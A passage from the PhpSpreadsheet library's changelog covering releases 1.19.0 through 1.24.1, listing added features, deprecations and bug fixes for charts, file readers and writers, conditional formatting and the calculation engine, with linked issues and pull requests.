- Fix DataValidation sqRef when inserting/deleting rows/columns [Issue #3056](https://github.com/PHPOffice/PhpSpreadsheet/issues/3056) [PR #3074](https://github.com/PHPOffice/PhpSpreadsheet/pull/3074) - Named ranges not usable as anchors in OFFSET function [Issue #3013](https://github.com/PHPOffice/PhpSpreadsheet/issues/3013) - Fully flatten an array [Issue #2955](https://github.com/PHPOffice/PhpSpreadsheet/issues/2955) [PR #2956](https://github.com/PHPOffice/PhpSpreadsheet/pull/2956) - cellExists() and getCell() methods should support UTF-8 named cells [Issue #2987](https://github.com/PHPOffice/PhpSpreadsheet/issues/2987) [PR #2988](https://github.com/PHPOffice/PhpSpreadsheet/pull/2988) - Spreadsheet copy fixed, clone disabled. [PR #2951](https://github.com/PHPOffice/PhpSpreadsheet/pull/2951) - Fix PDF problems with text rotation and paper size. [Issue #1747](https://github.com/PHPOffice/PhpSpreadsheet/issues/1747) [Issue #1713](https://github.com/PHPOffice/PhpSpreadsheet/issues/1713) [PR #2960](https://github.com/PHPOffice/PhpSpreadsheet/pull/2960) - Limited support for chart titles as formulas [Issue #2965](https://github.com/PHPOffice/PhpSpreadsheet/issues/2965) [Issue #749](https://github.com/PHPOffice/PhpSpreadsheet/issues/749) [PR #2971](https://github.com/PHPOffice/PhpSpreadsheet/pull/2971) - Add Gradients, Transparency, and Hidden Axes to Chart [Issue #2257](https://github.com/PHPOffice/PhpSpreadsheet/issues/2257) [Issue #2229](https://github.com/PHPOffice/PhpSpreadsheet/issues/2929) [Issue #2935](https://github.com/PHPOffice/PhpSpreadsheet/issues/2935) [PR #2950](https://github.com/PHPOffice/PhpSpreadsheet/pull/2950) - Chart Support for Rounded Corners and Trendlines [Issue #2968](https://github.com/PHPOffice/PhpSpreadsheet/issues/2968) [Issue #2815](https://github.com/PHPOffice/PhpSpreadsheet/issues/2815) [PR #2976](https://github.com/PHPOffice/PhpSpreadsheet/pull/2976) - Add setName Method for Chart [Issue #2991](https://github.com/PHPOffice/PhpSpreadsheet/issues/2991) [PR #3001](https://github.com/PHPOffice/PhpSpreadsheet/pull/3001) - Eliminate partial dependency on php-intl in StringHelper [Issue #2982](https://github.com/PHPOffice/PhpSpreadsheet/issues/2982) [PR #2994](https://github.com/PHPOffice/PhpSpreadsheet/pull/2994) - Minor changes for Pdf [Issue #2999](https://github.com/PHPOffice/PhpSpreadsheet/issues/2999) [PR #3002](https://github.com/PHPOffice/PhpSpreadsheet/pull/3002) [PR #3006](https://github.com/PHPOffice/PhpSpreadsheet/pull/3006) - Html/Pdf Do net set background color for cells using (default) nofill [PR #3016](https://github.com/PHPOffice/PhpSpreadsheet/pull/3016) - Add support for Date Axis to Chart [Issue #2967](https://github.com/PHPOffice/PhpSpreadsheet/issues/2967) [PR #3018](https://github.com/PHPOffice/PhpSpreadsheet/pull/3018) - Reconcile Differences Between Css and Excel for Cell Alignment [PR #3048](https://github.com/PHPOffice/PhpSpreadsheet/pull/3048) - R1C1 Format Internationalization and Better Support for Relative Offsets [Issue #1704](https://github.com/PHPOffice/PhpSpreadsheet/issues/1704) [PR #3052](https://github.com/PHPOffice/PhpSpreadsheet/pull/3052) - Minor Fix for Percentage Formatting [Issue #1929](https://github.com/PHPOffice/PhpSpreadsheet/issues/1929) [PR #3053](https://github.com/PHPOffice/PhpSpreadsheet/pull/3053) ## 1.24.1 - 2022-07-18 ### Added - Support for SimpleCache Interface versions 1.0, 2.0 and 3.0 - Add Chart Axis Option textRotation [Issue #2705](https://github.com/PHPOffice/PhpSpreadsheet/issues/2705) [PR #2940](https://github.com/PHPOffice/PhpSpreadsheet/pull/2940) ### Changed - Nothing ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Fix Encoding issue with Html reader (PHP 8.2 deprecation for mb_convert_encoding) [Issue #2942](https://github.com/PHPOffice/PhpSpreadsheet/issues/2942) [PR #2943](https://github.com/PHPOffice/PhpSpreadsheet/pull/2943) - Additional Chart fixes - Pie chart with part separated unwantedly [Issue #2506](https://github.com/PHPOffice/PhpSpreadsheet/issues/2506) [PR #2928](https://github.com/PHPOffice/PhpSpreadsheet/pull/2928) - Chart styling is lost on simple load / save process [Issue #1797](https://github.com/PHPOffice/PhpSpreadsheet/issues/1797) [Issue #2077](https://github.com/PHPOffice/PhpSpreadsheet/issues/2077) [PR #2930](https://github.com/PHPOffice/PhpSpreadsheet/pull/2930) - Can't create contour chart (surface 2d) [Issue #2931](https://github.com/PHPOffice/PhpSpreadsheet/issues/2931) [PR #2933](https://github.com/PHPOffice/PhpSpreadsheet/pull/2933) - VLOOKUP Breaks When Array Contains Null Cells [Issue #2934](https://github.com/PHPOffice/PhpSpreadsheet/issues/2934) [PR #2939](https://github.com/PHPOffice/PhpSpreadsheet/pull/2939) ## 1.24.0 - 2022-07-09 Note that this will be the last 1.x branch release before the 2.x release. We will maintain both branches in parallel for a time; but users are requested to update to version 2.0 once that is fully available. ### Added - Added `removeComment()` method for Worksheet [PR #2875](https://github.com/PHPOffice/PhpSpreadsheet/pull/2875/files) - Add point size option for scatter charts [Issue #2298](https://github.com/PHPOffice/PhpSpreadsheet/issues/2298) [PR #2801](https://github.com/PHPOffice/PhpSpreadsheet/pull/2801) - Basic support for Xlsx reading/writing Chart Sheets [PR #2830](https://github.com/PHPOffice/PhpSpreadsheet/pull/2830) Note that a ChartSheet is still only written as a normal Worksheet containing a single chart, not as an actual ChartSheet. - Added Worksheet visibility in Ods Reader [PR #2851](https://github.com/PHPOffice/PhpSpreadsheet/pull/2851) and Gnumeric Reader [PR #2853](https://github.com/PHPOffice/PhpSpreadsheet/pull/2853) - Added Worksheet visibility in Ods Writer [PR #2850](https://github.com/PHPOffice/PhpSpreadsheet/pull/2850) - Allow Csv Reader to treat string as contents of file [Issue #1285](https://github.com/PHPOffice/PhpSpreadsheet/issues/1285) [PR #2792](https://github.com/PHPOffice/PhpSpreadsheet/pull/2792) - Allow Csv Reader to store null string rather than leave cell empty [Issue #2840](https://github.com/PHPOffice/PhpSpreadsheet/issues/2840) [PR #2842](https://github.com/PHPOffice/PhpSpreadsheet/pull/2842) - Provide new Worksheet methods to identify if a row or column is "empty", making allowance for different definitions of "empty": - Treat rows/columns containing no cell records as empty (default) - Treat cells containing a null value as empty - Treat cells containing an empty string as empty ### Changed - Modify `rangeBoundaries()`, `rangeDimension()` and `getRangeBoundaries()` Coordinate methods to work with row/column ranges as well as with cell ranges and cells [PR #2926](https://github.com/PHPOffice/PhpSpreadsheet/pull/2926) - Better enforcement of value modification to match specified datatype when using `setValueExplicit()` - Relax validation of merge cells to allow merge for a single cell reference [Issue #2776](https://github.com/PHPOffice/PhpSpreadsheet/issues/2776) - Memory and speed improvements, particularly for the Cell Collection, and the Writers. See [the Discussion section on github](https://github.com/PHPOffice/PhpSpreadsheet/discussions/2821) for details of performance across versions - Improved performance for removing rows/columns from a worksheet ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Xls Reader resolving absolute named ranges to relative ranges [Issue #2826](https://github.com/PHPOffice/PhpSpreadsheet/issues/2826) [PR #2827](https://github.com/PHPOffice/PhpSpreadsheet/pull/2827) - Null value handling in the Excel Math/Trig PRODUCT() function [Issue #2833](https://github.com/PHPOffice/PhpSpreadsheet/issues/2833) [PR #2834](https://github.com/PHPOffice/PhpSpreadsheet/pull/2834) - Invalid Print Area defined in Xlsx corrupts internal storage of print area [Issue #2848](https://github.com/PHPOffice/PhpSpreadsheet/issues/2848) [PR #2849](https://github.com/PHPOffice/PhpSpreadsheet/pull/2849) - Time interval formatting [Issue #2768](https://github.com/PHPOffice/PhpSpreadsheet/issues/2768) [PR #2772](https://github.com/PHPOffice/PhpSpreadsheet/pull/2772) - Copy from Xls(x) to Html/Pdf loses drawings [PR #2788](https://github.com/PHPOffice/PhpSpreadsheet/pull/2788) - Html Reader converting cell containing 0 to null string [Issue #2810](https://github.com/PHPOffice/PhpSpreadsheet/issues/2810) [PR #2813](https://github.com/PHPOffice/PhpSpreadsheet/pull/2813) - Many fixes for Charts, especially, but not limited to, Scatter, Bubble, and Surface charts. [Issue #2762](https://github.com/PHPOffice/PhpSpreadsheet/issues/2762) [Issue #2299](https://github.com/PHPOffice/PhpSpreadsheet/issues/2299) [Issue #2700](https://github.com/PHPOffice/PhpSpreadsheet/issues/2700) [Issue #2817](https://github.com/PHPOffice/PhpSpreadsheet/issues/2817) [Issue #2763](https://github.com/PHPOffice/PhpSpreadsheet/issues/2763) [Issue #2219](https://github.com/PHPOffice/PhpSpreadsheet/issues/2219) [Issue #2863](https://github.com/PHPOffice/PhpSpreadsheet/issues/2863) [PR #2828](https://github.com/PHPOffice/PhpSpreadsheet/pull/2828) [PR #2841](https://github.com/PHPOffice/PhpSpreadsheet/pull/2841) [PR #2846](https://github.com/PHPOffice/PhpSpreadsheet/pull/2846) [PR #2852](https://github.com/PHPOffice/PhpSpreadsheet/pull/2852) [PR #2856](https://github.com/PHPOffice/PhpSpreadsheet/pull/2856) [PR #2865](https://github.com/PHPOffice/PhpSpreadsheet/pull/2865) [PR #2872](https://github.com/PHPOffice/PhpSpreadsheet/pull/2872) [PR #2879](https://github.com/PHPOffice/PhpSpreadsheet/pull/2879) [PR #2898](https://github.com/PHPOffice/PhpSpreadsheet/pull/2898) [PR #2906](https://github.com/PHPOffice/PhpSpreadsheet/pull/2906) [PR #2922](https://github.com/PHPOffice/PhpSpreadsheet/pull/2922) [PR #2923](https://github.com/PHPOffice/PhpSpreadsheet/pull/2923) - Adjust both coordinates for two-cell anchors when rows/columns are added/deleted. [Issue #2908](https://github.com/PHPOffice/PhpSpreadsheet/issues/2908) [PR #2909](https://github.com/PHPOffice/PhpSpreadsheet/pull/2909) - Keep calculated string results below 32K. [PR #2921](https://github.com/PHPOffice/PhpSpreadsheet/pull/2921) - Filter out illegal Unicode char values FFFE/FFFF. [Issue #2897](https://github.com/PHPOffice/PhpSpreadsheet/issues/2897) [PR #2910](https://github.com/PHPOffice/PhpSpreadsheet/pull/2910) - Better handling of REF errors and propagation of all errors in Calculation engine. [PR #2902](https://github.com/PHPOffice/PhpSpreadsheet/pull/2902) - Calculating Engine regexp for Column/Row references when there are multiple quoted worksheet references in the formula [Issue #2874](https://github.com/PHPOffice/PhpSpreadsheet/issues/2874) [PR #2899](https://github.com/PHPOffice/PhpSpreadsheet/pull/2899) ## 1.23.0 - 2022-04-24 ### Added - Ods Writer support for Freeze Pane [Issue #2013](https://github.com/PHPOffice/PhpSpreadsheet/issues/2013) [PR #2755](https://github.com/PHPOffice/PhpSpreadsheet/pull/2755) - Ods Writer support for setting column width/row height (including the use of AutoSize) [Issue #2346](https://github.com/PHPOffice/PhpSpreadsheet/issues/2346) [PR #2753](https://github.com/PHPOffice/PhpSpreadsheet/pull/2753) - Introduced CellAddress, CellRange, RowRange and ColumnRange value objects that can be used as an alternative to a string value (e.g. `'C5'`, `'B2:D4'`, `'2:2'` or `'B:C'`) in appropriate contexts. - Implementation of the FILTER(), SORT(), SORTBY() and UNIQUE() Lookup/Reference (array) functions. - Implementation of the ISREF() Information function. - Added support for reading "formatted" numeric values from Csv files; although default behaviour of reading these values as strings is preserved. (i.e a value of "12,345.67" can be read as numeric `12345.67`, not simply as a string `"12,345.67"`, if the `castFormattedNumberToNumeric()` setting is enabled. This functionality is locale-aware, using the server's locale settings to identify the thousands and decimal separators. - Support for two cell anchor drawing of images. [#2532](https://github.com/PHPOffice/PhpSpreadsheet/pull/2532) [#2674](https://github.com/PHPOffice/PhpSpreadsheet/pull/2674) - Limited support for Xls Reader to handle Conditional Formatting: Ranges and Rules are read, but style is currently limited to font size, weight and color; and to fill style and color. - Add ability to suppress Mac line ending check for CSV [#2623](https://github.com/PHPOffice/PhpSpreadsheet/pull/2623) - Initial support for creating and writing Tables (Xlsx Writer only) [PR #2671](https://github.com/PHPOffice/PhpSpreadsheet/pull/2671) See `/samples/Table` for examples of use. Note that PreCalculateFormulas needs to be disabled when saving spreadsheets containing tables with formulae (totals or column formulae). ### Changed - Gnumeric Reader now loads number formatting for cells. - Gnumeric Reader now correctly identifies selected worksheet and selected cells in a worksheet. - Some Refactoring of the Ods Reader, moving all formula and address translation from Ods to Excel into a separate class to eliminate code duplication and ensure consistency. - Make Boolean Conversion in Csv Reader locale-aware when using the String Value Binder. This is determined by the Calculation Engine locale setting. (i.e. `"Vrai"` wil be converted to a boolean `true` if the Locale is set to `fr`.) - Allow `psr/simple-cache` 2.x ### Deprecated - All Excel Function implementations in `Calculation\Functions` (including the Error functions) have been moved to dedicated classes for groups of related functions. See the docblocks against all the deprecated methods for details of the new methods to call instead. At some point, these old classes will be deleted. - Worksheet methods that reference cells "byColumnandRow". All such methods have an equivalent that references the cell by its address (e.g. '`E3'` rather than `5, 3`). These functions now accept either a cell address string (`'E3')` or an array with columnId and rowId (`[5, 3]`) or a new `CellAddress` object as their `cellAddress`/`coordinate` argument. This includes the methods: - `setCellValueByColumnAndRow()` use the equivalent `setCellValue()` - `setCellValueExplicitByColumnAndRow()` use the equivalent `setCellValueExplicit()` - `getCellByColumnAndRow()` use the equivalent `getCell()` - `cellExistsByColumnAndRow()` use the equivalent `cellExists()` - `getStyleByColumnAndRow()` use the equivalent `getStyle()` - `setBreakByColumnAndRow()` use the equivalent `setBreak()` - `mergeCellsByColumnAndRow()` use the equivalent `mergeCells()` - `unmergeCellsByColumnAndRow()` use the equivalent `unmergeCells()` - `protectCellsByColumnAndRow()` use the equivalent `protectCells()` - `unprotectCellsByColumnAndRow()` use the equivalent `unprotectCells()` - `setAutoFilterByColumnAndRow()` use the equivalent `setAutoFilter()` - `freezePaneByColumnAndRow()` use the equivalent `freezePane()` - `getCommentByColumnAndRow()` use the equivalent `getComment()` - `setSelectedCellByColumnAndRow()` use the equivalent `setSelectedCells()` This change provides more consistency in the methods (not every "by cell address" method has an equivalent "byColumnAndRow" method); and the "by cell address" methods often provide more flexibility, such as allowing a range of cells, or referencing them by passing the defined name of a named range as the argument. ### Removed - Nothing ### Fixed - Make allowance for the AutoFilter dropdown icon in the first row of an Autofilter range when using Autosize columns. [Issue #2413](https://github.com/PHPOffice/PhpSpreadsheet/issues/2413) [PR #2754](https://github.com/PHPOffice/PhpSpreadsheet/pull/2754) - Support for "chained" ranges (e.g. `A5:C10:C20:F1`) in the Calculation Engine; and also support for using named ranges with the Range operator (e.g. `NamedRange1:NamedRange2`) [Issue #2730](https://github.com/PHPOffice/PhpSpreadsheet/issues/2730) [PR #2746](https://github.com/PHPOffice/PhpSpreadsheet/pull/2746) - Update Conditional Formatting ranges and rule conditions when inserting/deleting rows/columns [Issue #2678](https://github.com/PHPOffice/PhpSpreadsheet/issues/2678) [PR #2689](https://github.com/PHPOffice/PhpSpreadsheet/pull/2689) - Allow `INDIRECT()` to accept row/column ranges as well as cell ranges [PR #2687](https://github.com/PHPOffice/PhpSpreadsheet/pull/2687) - Fix bug when deleting cells with hyperlinks, where the hyperlink was then being "inherited" by whatever cell moved to that cell address. - Fix bug in Conditional Formatting in the Xls Writer that resulted in a broken file when there were multiple conditional ranges in a worksheet. - Fix Conditional Formatting in the Xls Writer to work with rules that contain string literals, cell references and formulae. - Fix for setting Active Sheet to the first loaded worksheet when bookViews element isn't defined [Issue #2666](https://github.com/PHPOffice/PhpSpreadsheet/issues/2666) [PR #2669](https://github.com/PHPOffice/PhpSpreadsheet/pull/2669) - Fixed behaviour of XLSX font style vertical align settings [PR #2619](https://github.com/PHPOffice/PhpSpreadsheet/pull/2619) - Resolved formula translations to handle separators (row and column) for array functions as well as for function argument separators; and cleanly handle nesting levels. Note that this method is used when translating Excel functions between `en_us` and other locale languages, as well as when converting formulae between different spreadsheet formats (e.g. Ods to Excel). Nor is this a perfect solution, as there may still be issues when function calls have array arguments that themselves contain function calls; but it's still better than the current logic. - Fix for escaping double quotes within a formula [Issue #1971](https://github.com/PHPOffice/PhpSpreadsheet/issues/1971) [PR #2651](https://github.com/PHPOffice/PhpSpreadsheet/pull/2651) - Change open mode for output from `wb+` to `wb` [Issue #2372](https://github.com/PHPOffice/PhpSpreadsheet/issues/2372) [PR #2657](https://github.com/PHPOffice/PhpSpreadsheet/pull/2657) - Use color palette if supplied [Issue #2499](https://github.com/PHPOffice/PhpSpreadsheet/issues/2499) [PR #2595](https://github.com/PHPOffice/PhpSpreadsheet/pull/2595) - Xls reader treat drawing offsets as int rather than float [PR #2648](https://github.com/PHPOffice/PhpSpreadsheet/pull/2648) - Handle booleans in conditional styles properly [PR #2654](https://github.com/PHPOffice/PhpSpreadsheet/pull/2654) - Fix for reading files in the root directory of a ZipFile, which should not be prefixed by relative paths ("./") as dirname($filename) does by default. - Fix invalid style of cells in empty columns with columnDimensions and rows with rowDimensions in added external sheet. [PR #2739](https://github.com/PHPOffice/PhpSpreadsheet/pull/2739) - Time Interval Formatting [Issue #2768](https://github.com/PHPOffice/PhpSpreadsheet/issues/2768) [PR #2772](https://github.com/PHPOffice/PhpSpreadsheet/pull/2772) ## 1.22.0 - 2022-02-18 ### Added - Namespacing phase 2 - styles. [PR #2471](https://github.com/PHPOffice/PhpSpreadsheet/pull/2471) - Improved support for passing of array arguments to Excel function implementations to return array results (where appropriate). [Issue #2551](https://github.com/PHPOffice/PhpSpreadsheet/issues/2551) This is the first stage in an ongoing process of adding array support to all appropriate function implementations, - Support for the Excel365 Math/Trig SEQUENCE() function [PR #2536](https://github.com/PHPOffice/PhpSpreadsheet/pull/2536) - Support for the Excel365 Math/Trig RANDARRAY() function [PR #2540](https://github.com/PHPOffice/PhpSpreadsheet/pull/2540) Note that the Spill Operator is not yet supported in the Calculation Engine; but this can still be useful for defining array constants. - Improved support for Conditional Formatting Rules [PR #2491](https://github.com/PHPOffice/PhpSpreadsheet/pull/2491) - Provide support for a wider range of Conditional Formatting Rules for Xlsx Reader/Writer: - Cells Containing (cellIs) - Specific Text (containing, notContaining, beginsWith, endsWith) - Dates Occurring (all supported timePeriods) - Blanks/NoBlanks - Errors/NoErrors - Duplicates/Unique - Expression - Provision of CF Wizards (for all the above listed rule types) to help create/modify CF Rules without having to manage all the combinations of types/operators, and the complexities of formula expressions, or the text/timePeriod attributes. See [documentation](https://phpspreadsheet.readthedocs.io/en/latest/topics/conditional-formatting/) for details - Full support of the above CF Rules for the Xlsx Reader and Writer; even when the file being loaded has CF rules listed in the `<extLst><ext><ConditionalFormattings>` element for the worksheet rather than the `<ConditionalFormatting>` element. - Provision of a CellMatcher to identify if rules are matched for a cell, and which matching style will be applied. - Improved documentation and examples, covering all supported CF rule types. - Add support for one digit decimals (FORMAT_NUMBER_0, FORMAT_PERCENTAGE_0). [PR #2525](https://github.com/PHPOffice/PhpSpreadsheet/pull/2525) - Initial work enabling Excel function implementations for handling arrays as arguments when used in "array formulae" [#2562](https://github.com/PHPOffice/PhpSpreadsheet/issues/2562) - Enable most of the Date/Time functions to accept array arguments [#2573](https://github.com/PHPOffice/PhpSpreadsheet/issues/2573) - Array ready functions - Text, Math/Trig, Statistical, Engineering and Logical [#2580](https://github.com/PHPOffice/PhpSpreadsheet/issues/2580) ### Changed - Additional Russian translations for Excel Functions (courtesy of aleks-samurai). - Improved code coverage for NumberFormat. [PR #2556](https://github.com/PHPOffice/PhpSpreadsheet/pull/2556) - Extract some methods from the Calculation Engine into dedicated classes [#2537](https://github.com/PHPOffice/PhpSpreadsheet/issues/2537) - Eliminate calls to `flattenSingleValue()` that are no longer required when we're checking for array values as arguments [#2590](https://github.com/PHPOffice/PhpSpreadsheet/issues/2590) ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Fixed `ReferenceHelper@insertNewBefore` behavior when removing column before last column with null value [PR #2541](https://github.com/PHPOffice/PhpSpreadsheet/pull/2541) - Fix bug with `DOLLARDE()` and `DOLLARFR()` functions when the dollar value is negative [Issue #2578](https://github.com/PHPOffice/PhpSpreadsheet/issues/2578) [PR #2579](https://github.com/PHPOffice/PhpSpreadsheet/pull/2579) - Fix partial function name matching when translating formulae from Russian to English [Issue #2533](https://github.com/PHPOffice/PhpSpreadsheet/issues/2533) [PR #2534](https://github.com/PHPOffice/PhpSpreadsheet/pull/2534) - Various bugs related to Conditional Formatting Rules, and errors in the Xlsx Writer for Conditional Formatting [PR #2491](https://github.com/PHPOffice/PhpSpreadsheet/pull/2491) - Xlsx Reader merge range fixes. [Issue #2501](https://github.com/PHPOffice/PhpSpreadsheet/issues/2501) [PR #2504](https://github.com/PHPOffice/PhpSpreadsheet/pull/2504) - Handle explicit "date" type for Cell in Xlsx Reader. [Issue #2373](https://github.com/PHPOffice/PhpSpreadsheet/issues/2373) [PR #2485](https://github.com/PHPOffice/PhpSpreadsheet/pull/2485) - Recalibrate Row/Column Dimensions after removeRow/Column. [Issue #2442](https://github.com/PHPOffice/PhpSpreadsheet/issues/2442) [PR #2486](https://github.com/PHPOffice/PhpSpreadsheet/pull/2486) - Refinement for XIRR. [Issue #2469](https://github.com/PHPOffice/PhpSpreadsheet/issues/2469) [PR #2487](https://github.com/PHPOffice/PhpSpreadsheet/pull/2487) - Xlsx Reader handle cell with non-null explicit type but null value. [Issue #2488](https://github.com/PHPOffice/PhpSpreadsheet/issues/2488) [PR #2489](https://github.com/PHPOffice/PhpSpreadsheet/pull/2489) - Xlsx Reader fix height and width for oneCellAnchorDrawings. [PR #2492](https://github.com/PHPOffice/PhpSpreadsheet/pull/2492) - Fix rounding error in NumberFormat::NUMBER_PERCENTAGE, NumberFormat::NUMBER_PERCENTAGE_00. [PR #2555](https://github.com/PHPOffice/PhpSpreadsheet/pull/2555) - Don't treat thumbnail file as xml. [Issue #2516](https://github.com/PHPOffice/PhpSpreadsheet/issues/2516) [PR #2517](https://github.com/PHPOffice/PhpSpreadsheet/pull/2517) - Eliminating Xlsx Reader warning when no sz tag for RichText. [Issue #2542](https://github.com/PHPOffice/PhpSpreadsheet/issues/2542) [PR #2550](https://github.com/PHPOffice/PhpSpreadsheet/pull/2550) - Fix Xlsx/Xls Writer handling of inline strings. [Issue #353](https://github.com/PHPOffice/PhpSpreadsheet/issues/353) [PR #2569](https://github.com/PHPOffice/PhpSpreadsheet/pull/2569) - Richtext colors were not being read correctly after namespace change [#2458](https://github.com/PHPOffice/PhpSpreadsheet/issues/2458) - Fix discrepancy between the way markdown tables are rendered in ReadTheDocs and in PHPStorm [#2520](https://github.com/PHPOffice/PhpSpreadsheet/issues/2520) - Update Russian Functions Text File [#2557](https://github.com/PHPOffice/PhpSpreadsheet/issues/2557) - Fix documentation, instantiation example [#2564](https://github.com/PHPOffice/PhpSpreadsheet/issues/2564) ## 1.21.0 - 2022-01-06 ### Added - Ability to add a picture to the background of the comment. Supports four image formats: png, jpeg, gif, bmp. New `Comment::setSizeAsBackgroundImage()` to change the size of a comment to the size of a background image. [Issue #1547](https://github.com/PHPOffice/PhpSpreadsheet/issues/1547) [PR #2422](https://github.com/PHPOffice/PhpSpreadsheet/pull/2422) - Ability to set default paper size and orientation [PR #2410](https://github.com/PHPOffice/PhpSpreadsheet/pull/2410) - Ability to extend AutoFilter to Maximum Row [PR #2414](https://github.com/PHPOffice/PhpSpreadsheet/pull/2414) ### Changed - Xlsx Writer will evaluate AutoFilter only if it is as yet unevaluated, or has changed since it was last evaluated [PR #2414](https://github.com/PHPOffice/PhpSpreadsheet/pull/2414) ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Rounding in `NumberFormatter` [Issue #2385](https://github.com/PHPOffice/PhpSpreadsheet/issues/2385) [PR #2399](https://github.com/PHPOffice/PhpSpreadsheet/pull/2399) - Support for themes [Issue #2075](https://github.com/PHPOffice/PhpSpreadsheet/issues/2075) [Issue #2387](https://github.com/PHPOffice/PhpSpreadsheet/issues/2387) [PR #2403](https://github.com/PHPOffice/PhpSpreadsheet/pull/2403) - Read spreadsheet with `#` in name [Issue #2405](https://github.com/PHPOffice/PhpSpreadsheet/issues/2405) [PR #2409](https://github.com/PHPOffice/PhpSpreadsheet/pull/2409) - Improve PDF support for page size and orientation [Issue #1691](https://github.com/PHPOffice/PhpSpreadsheet/issues/1691) [PR #2410](https://github.com/PHPOffice/PhpSpreadsheet/pull/2410) - Wildcard handling issues in text match [Issue #2430](https://github.com/PHPOffice/PhpSpreadsheet/issues/2430) [PR #2431](https://github.com/PHPOffice/PhpSpreadsheet/pull/2431) - Respect DataType in `insertNewBefore` [PR #2433](https://github.com/PHPOffice/PhpSpreadsheet/pull/2433) - Handle rows explicitly hidden after AutoFilter [Issue #1641](https://github.com/PHPOffice/PhpSpreadsheet/issues/1641) [PR #2414](https://github.com/PHPOffice/PhpSpreadsheet/pull/2414) - Special characters in image file name [Issue #1470](https://github.com/PHPOffice/PhpSpreadsheet/issues/1470) [Issue #2415](https://github.com/PHPOffice/PhpSpreadsheet/issues/2415) [PR #2416](https://github.com/PHPOffice/PhpSpreadsheet/pull/2416) - Mpdf with very many styles [Issue #2432](https://github.com/PHPOffice/PhpSpreadsheet/issues/2432) [PR #2434](https://github.com/PHPOffice/PhpSpreadsheet/pull/2434) - Name clashes between parsed and unparsed drawings [Issue #1767](https://github.com/PHPOffice/PhpSpreadsheet/issues/1767) [Issue #2396](https://github.com/PHPOffice/PhpSpreadsheet/issues/2396) [PR #2423](https://github.com/PHPOffice/PhpSpreadsheet/pull/2423) - Fill pattern start and end colors [Issue #2441](https://github.com/PHPOffice/PhpSpreadsheet/issues/2441) [PR #2444](https://github.com/PHPOffice/PhpSpreadsheet/pull/2444) - General style specified in wrong case [Issue #2450](https://github.com/PHPOffice/PhpSpreadsheet/issues/2450) [PR #2451](https://github.com/PHPOffice/PhpSpreadsheet/pull/2451) - Null passed to `AutoFilter::setRange()` [Issue #2281](https://github.com/PHPOffice/PhpSpreadsheet/issues/2281) [PR #2454](https://github.com/PHPOffice/PhpSpreadsheet/pull/2454) - Another undefined index in Xls reader (#2470) [Issue #2463](https://github.com/PHPOffice/PhpSpreadsheet/issues/2463) [PR #2470](https://github.com/PHPOffice/PhpSpreadsheet/pull/2470) - Allow single-cell checks on conditional styles, even when the style is configured for a range of cells (#) [PR #2483](https://github.com/PHPOffice/PhpSpreadsheet/pull/2483) ## 1.20.0 - 2021-11-23 ### Added - Xlsx Writer Support for WMF Files [#2339](https://github.com/PHPOffice/PhpSpreadsheet/issues/2339) - Use standard temporary file for internal use of HTMLPurifier [#2383](https://github.com/PHPOffice/PhpSpreadsheet/issues/2383) ### Changed - Drop support for PHP 7.2, according to https://phpspreadsheet.readthedocs.io/en/latest/#php-version-support - Use native typing for objects that were already documented as such ### Deprecated - Nothing ### Removed - Nothing ### Fixed - Fixed null conversation for strToUpper [#2292](https://github.com/PHPOffice/PhpSpreadsheet/issues/2292) - Fixed Trying to access array offset on value of type null (Xls Reader) [#2315](https://github.com/PHPOffice/PhpSpreadsheet/issues/2315) - Don't corrupt XLSX files containing data validation [#2377](https://github.com/PHPOffice/PhpSpreadsheet/issues/2377) - Non-fixed cells were not updated if shared formula has a fixed cell [#2354](https://github.com/PHPOffice/PhpSpreadsheet/issues/2354) - Declare key of generic ArrayObject - CSV reader better support for boolean values [#2374](https://github.com/PHPOffice/PhpSpreadsheet/pull/2374) - Some ZIP file could not be read [#2376](https://github.com/PHPOffice/PhpSpreadsheet/pull/2376) - Fix regression were hyperlinks could not be read [#2391](https://github.com/PHPOffice/PhpSpreadsheet/pull/2391) - AutoFilter Improvements [#2393](https://github.com/PHPOffice/PhpSpreadsheet/pull/2393) - Don't corrupt file when using chart with fill color [#589](https://github.com/PHPOffice/PhpSpreadsheet/pull/589) - Restore imperfect array formula values in xlsx writer [#2343](https://github.com/PHPOffice/PhpSpreadsheet/pull/2343) - Restore explicit list of changes to PHPExcel migration document [#1546](https://github.com/PHPOffice/PhpSpreadsheet/issues/1546) ## 1.19.0 - 2021-10-31 ### Added - Ability to set style on named range, and validate input to setSelectedCells [Issue #2279](https://github.com/PHPOffice/PhpSpreadsheet/issues/2279) [PR #2280](https://github.com/PHPOffice/PhpSpreadsheet/pull/2280) - Process comments in Sylk file [Issue #2276](https://github.com/PHPOffice/PhpSpreadsheet/issues/2276) [PR #2277](https://github.com/PHPOffice/PhpSpreadsheet/pull/2277) - Addition of Custom Properties to Ods Writer, and 32-bit-safe timestamps for Document Properties [PR #2113](https://github.com/PHPOffice/PhpSpreadsheet/pull/2113) - Added callback to CSV reader to set user-specified defaults for various properties (especially for escape which has a poor PHP-inherited default of backslash which does not correspond with Excel) [PR #2103](https://github.com/PHPOffice/PhpSpreadsheet/pull/2103) - Phase 1 of better namespace handling for Xlsx, resolving many open issues [PR #2173](https://github.com/PHPOffice/PhpSpreadsheet/pull/2173) [PR #2204](https://github.com/PHPOffice/PhpSpreadsheet/pull/2204) [PR #2303](https://github.com/PHPOffice/PhpSpreadsheet/pull/2303) - Add ability to extract images if source is a URL [Issue #1997](https://github.com/PHPOffice/PhpSpreadsheet/issues/1997) [PR #2072](https://github.com/PHPOffice/PhpSpreadsheet/pull/2072) - Support for passing flags in the Reader `load()` and Writer `save()`methods, and through the IOFactory, to set behaviours [PR #2136](https://github.com/PHPOffice/PhpSpreadsheet/pull/2136) - See [documentation](https://phpspreadsheet.readthedocs.io/en/latest/topics/reading-and-writing-to-file/#readerwriter-flags) for details - More flexibility in the StringValueBinder to determine what datatypes should be treated as strings [PR #2138](https://github.com/PHPOffice/PhpSpreadsheet/pull/2138) - Helper class for conversion between css size Units of measure (`px`, `pt`, `pc`, `in`, `cm`, `mm`) [PR #2152](https://github.com/PHPOffice/PhpSpreadsheet/issues/2145) - Allow Row height and Column Width to be set using different units of measure (`px`, `pt`, `pc`, `in`, `cm`, `mm`), rather than only in points or MS Excel column width units [PR #2152](https://github.com/PHPOffice/PhpSpreadsheet/issues/2145) - Ability to stream to an Amazon S3 bucket [Issue 